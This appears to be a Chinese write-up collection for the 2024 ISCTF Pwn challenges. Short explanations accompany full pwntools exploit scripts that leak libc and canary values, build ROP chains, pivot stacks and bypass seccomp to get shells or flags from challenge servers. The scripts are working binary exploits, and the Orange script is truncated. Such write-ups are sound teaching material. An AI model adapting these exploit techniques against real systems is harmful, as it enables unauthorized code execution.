2024_ISCTF_Pwn 小蓝鲨的stack 出题人:安阳工学院_笙南
解题过程:
⽐较少⻅的⼀个题型,不过并不难,
ida64查看代码发现只有⼀个read和printf打印我们输⼊的东西 这⾥是没办法通过rop链去泄露libc地址的。
程序原设定的返回地址是
⽽我们需要利⽤的正是__libc_start_main⾥⾯的⼀段gadget 我们将libc⽂件拖⼊ida,分析__libc_start_main段上的汇编
程序原返回地址是24083这⾥,我们发现在该地址上⾯还有⼀段call rax,⽽此时rax恰好被赋值为了main函数起始地址,也就是说 我们将返回地址修改为mov rax这⾥就可以再次返回到main函数,并且由于printf函数会打印我们输⼊的东西,我们还可以把返回地 址给打印出来,这样我们就拿到了libc地址,以及第⼆次利⽤read函数,接下来就是直接打rop链获得权限。
调试之后发现确实会回到main函数
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import* from struct import pack import ctypes context(log_level = 'debug',arch = 'amd64') #p=process('./ezstack') p=remote('27.25.151.12',28909) elf=ELF('./ezstack') #libc=ELF('/root/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6') libc=ELF('/root/glibc-all-in-one/libs/2.31-0ubuntu9.16_amd64/libc.so.6') def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a) def pr(a): print(p.recv(a)) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') #bug() s(b'a'*0x28+b'\x7c') libc_base=get_addr64()-147580 li(hex(libc_base)) system,bin=get_sb() rdi=libc_base+0x0000000000023b6a pay=b'a'*0x28+p64(rdi)+p64(bin)+p64(rdi+1)+p64(system) s(pay) inter()
Orange 出题⼈:SunD1y
解题过程:
菜单题,edit可以溢出,⽆free,使⽤houseoforange 构造largebinattack攻击,接着使⽤edit溢出泄漏heap和libc地址触发 largebin attack,布置好fakeIOFILE之后调⽤exit触发getshell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/usr/bin/env python # encoding: utf-8 from pwn import * import time import numpy as np from pwncli import * local_file = './pwn' elf = ELF(local_file) libc=ELF('libc.so.6') context.log_level = 'debug' context.arch = elf.arch context.terminal = ['tmux','neww'] #,''splitw','-h''
netcat 出题⼈:b55t4ck
解题过程:
通过nc⼯具连接即可获得flag,linux系统⼀般⾃带nc,Windows可能需要安装nc.exe
girlfriend 出题⼈:b55t4ck
解题过程:
从IDA里面分析就是,s1越界读取,覆盖为admin,然后进入vuln中,观察到存在数组溢出,通过数组溢出就可以修改溢出长度至ret_addr的位置,随后就可以跳转到后门函数
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * p=remote("27.25.151.12",25632) #p=process("./pwn") elf=ELF("./pwn") p.sendafter(b'first i need your team id',b'a'*0x28+b'admin') #gdb.attach(p) p.sendlineafter(b'please input your 1 girlfriend birthday',b'1') p.sendlineafter(b'please input your 2 girlfriend birthday',b'1') p.sendlineafter(b'please input your 3 girlfriend birthday',b'1') p.sendlineafter(b'please input your 4 girlfriend birthday',b'1') p.sendlineafter(b'please input your 5 girlfriend birthday',b'6') p.sendlineafter(b'please input your 6 girlfriend birthday',b'6') p.sendlineafter(b'please input your 8 girlfriend birthday',b'4198942') p.interactive()
ret2orw 出题⼈:b55t4ck
解题思路:
给了后门函数,但是跳转后会出现bad syscall的报错,在init函数中可以看到禁用了system调用。既然可以栈溢出,那么我们就可以利⽤gadget去调⽤libc⾥⾯存在的open,read,write。从⽽读取flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import * from struct import pack from ctypes import * import base64 #from LibcSearcher import * def debug(c = 0): if(c): gdb.attach(p, c) else: gdb.attach(p) pause() def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) #------------------------------------------------------------------------------------------------------------------------------ s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) r = lambda num=4096 :p.recv(num) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print(p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num)) #------------------------------------------------------------------------------------------------------------------------------- context(os='linux', arch='amd64', log_level='debug') #p = process('./pwn') p=remote("gz.imxbt.cn",20370) elf = ELF('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') pop_rdi = 0x00000000004012CE ret = 0x4010CF #debug('b *0x4012a0') #gdb.attach(p) sa(b'this?\n', b'a'*0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['main'])) pause() libc_base = uu64() - libc.sym['puts'] print(hex(libc_base)) pause() system, binsh = get_sb() rax = libc_base + 0x45eb0 syscall = libc_base + next(libc.search(asm('syscall; ret;'))) rdi = libc_base + 0x2a3e5 rsi = libc_base + 0x2be51 rdx_r12 = libc_base + 0x11f2e7 mprotect = libc_base + libc.sym['mprotect'] open_ = libc_base + libc.sym['open'] read = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] buf = 0x4040D0 flag = 0x4040a0 payload = b'a'*0x28 # read flag -> buf payload += p64(rdi) + p64(0) + p64(rsi) + p64(flag) + p64(rdx_r12) + p64(8)*2 + p64(read) # open flag payload += p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx_r12) + p64(0)*2 + p64(open_) # read flag payload += p64(rdi) + p64(3) + p64(rsi) + p64(buf) + p64(rdx_r12) + p64(0x30)*2 + p64(read) # write flag payload += p64(rdi) + p64(1) + p64(write) sa(b'this?\n', payload) sleep(1) s(b'/flag') #pause() inter()
0verf10w 出题⼈:b55t4ck
⼀道⽐较综合的题⽬,考察栈迁移,格式化字符串,还有防御机制绕过的漏洞,⾸先可以通过格式化字符串泄露canary,和libc。 再通过vuln函数溢出的⼀个字节实现栈迁移,从⽽劫持程序执⾏流,然后再通过one_gadget即可获取shell。需要注意的是,本地环 境需保持与远程⼀致,不然可能出现本地打得通远程打不通的情况。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * p=remote("27.25.151.12",39834) #p=process("./stack") elf=ELF("./stack") libc=ELF("/home/giant/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6") #gdb.attach(p) p.sendlineafter(b'?\n',b'a'*0x1) p.sendafter(b'!\n',b'\x00'*8+b'%3$p%9$p%15$p') libc_base=int(p.recv(14),16)-libc.sym["read"]-18 print(hex(libc_base)) canary=int(p.recv(18),16) stack_addr=int(p.recv(14),16)-0x158 print(hex(stack_addr)) ogg=libc_base+0xebd43 kx=libc_base+0x21c100 a = int((hex(stack_addr)[-2:]),16) p.sendafter(b'?\n',p64(canary)+p64(kx)+p64(ogg)+p64(canary)+p8(a-8)) p.interactive()
ez_game 出题⼈:Qjzhalx
解题过程
利用gets覆盖掉seeds
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * from ctypes import * context(arch = 'amd64',os = 'linux',log_level = 'debug') q = process("./pwn") libc = cdll.LoadLibrary("./libc.so.6") payload = b"a" * 400 + p64(0) q.sendline(payload) libc.srand(0) for i in range(20001): num = str(libc.rand()%7+1) q.sendline(num) q.recvuntil("It's your reward, take advantage of it.") q.interactive()